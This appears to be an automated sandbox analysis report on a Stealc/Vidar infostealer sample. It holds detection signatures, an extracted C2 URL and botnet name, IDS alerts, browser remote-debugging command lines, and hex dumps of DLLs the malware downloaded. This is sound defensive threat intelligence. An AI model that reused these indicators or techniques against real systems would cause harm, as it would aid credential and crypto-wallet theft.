Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1544205
MD5:	23f9aaabdec387215997cd70821d5859
SHA1:	42305bdb3f025748f6db57b7677244f1c0e00b2d
SHA256:	1f9a1e48fd8e9be5528b088a0a9cbefcdb523ee10e63fa14249130c139f1ccb9
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6024 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 23F9AAABDEC387215997CD70821D5859)

chrome.exe (PID: 6540 cmdline: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7240 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2624 --field-trial-handle=2412,i,13784969415282390054,5886882704676718212,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 4180 cmdline: "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 4668 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2480 --field-trial-handle=2340,i,2700430102709419326,11694449146032841153,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8116 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7736 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2088 --field-trial-handle=2024,i,10501024734161558881,5585055544149654659,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8560 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6564 --field-trial-handle=2024,i,10501024734161558881,5585055544149654659,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8572 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6716 --field-trial-handle=2024,i,10501024734161558881,5585055544149654659,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 5744 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6832 --field-trial-handle=2024,i,10501024734161558881,5585055544149654659,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: Vidar

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2520351860.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2517910143.00000000004A1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2061910174.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 6024	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6024	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6024	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6024	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.4a0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 6024, ParentProcessName: file.exe, ProcessCommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 6540, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T02:46:08.692292+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T02:46:08.685006+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T02:46:08.971032+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T02:46:10.068138+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T02:46:08.978397+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T02:46:08.202147+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T02:46:10.350048+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-29T02:46:37.773127+0100	2803304	3	Unknown Traffic	192.168.2.5	49838	185.215.113.206	80	TCP
2024-10-29T02:46:42.108607+0100	2803304	3	Unknown Traffic	192.168.2.5	49838	185.215.113.206	80	TCP
2024-10-29T02:46:43.217937+0100	2803304	3	Unknown Traffic	192.168.2.5	49838	185.215.113.206	80	TCP
2024-10-29T02:46:44.207112+0100	2803304	3	Unknown Traffic	192.168.2.5	49838	185.215.113.206	80	TCP
2024-10-29T02:46:46.412569+0100	2803304	3	Unknown Traffic	192.168.2.5	49838	185.215.113.206	80	TCP
2024-10-29T02:46:46.960498+0100	2803304	3	Unknown Traffic	192.168.2.5	49838	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 0.2.file.exe.4a0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 0.2.file.exe.4a0000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 47%
Source: file.exe	Virustotal: Detection: 44%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5B6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C5B6C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49996 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.5:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.74:443 -> 192.168.2.5:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.74:443 -> 192.168.2.5:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.5:50030 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2546541857.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2546731433.000000006C8A1000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.2061910174.0000000004B1B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2517910143.00000000004CC000.00000040.00000001.01000000.00000003.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2546731433.000000006C8A1000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.2061910174.0000000004B1B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2517910143.00000000004CC000.00000040.00000001.01000000.00000003.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2546541857.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.206:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 01:46:10 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 01:46:37 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 01:46:40 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 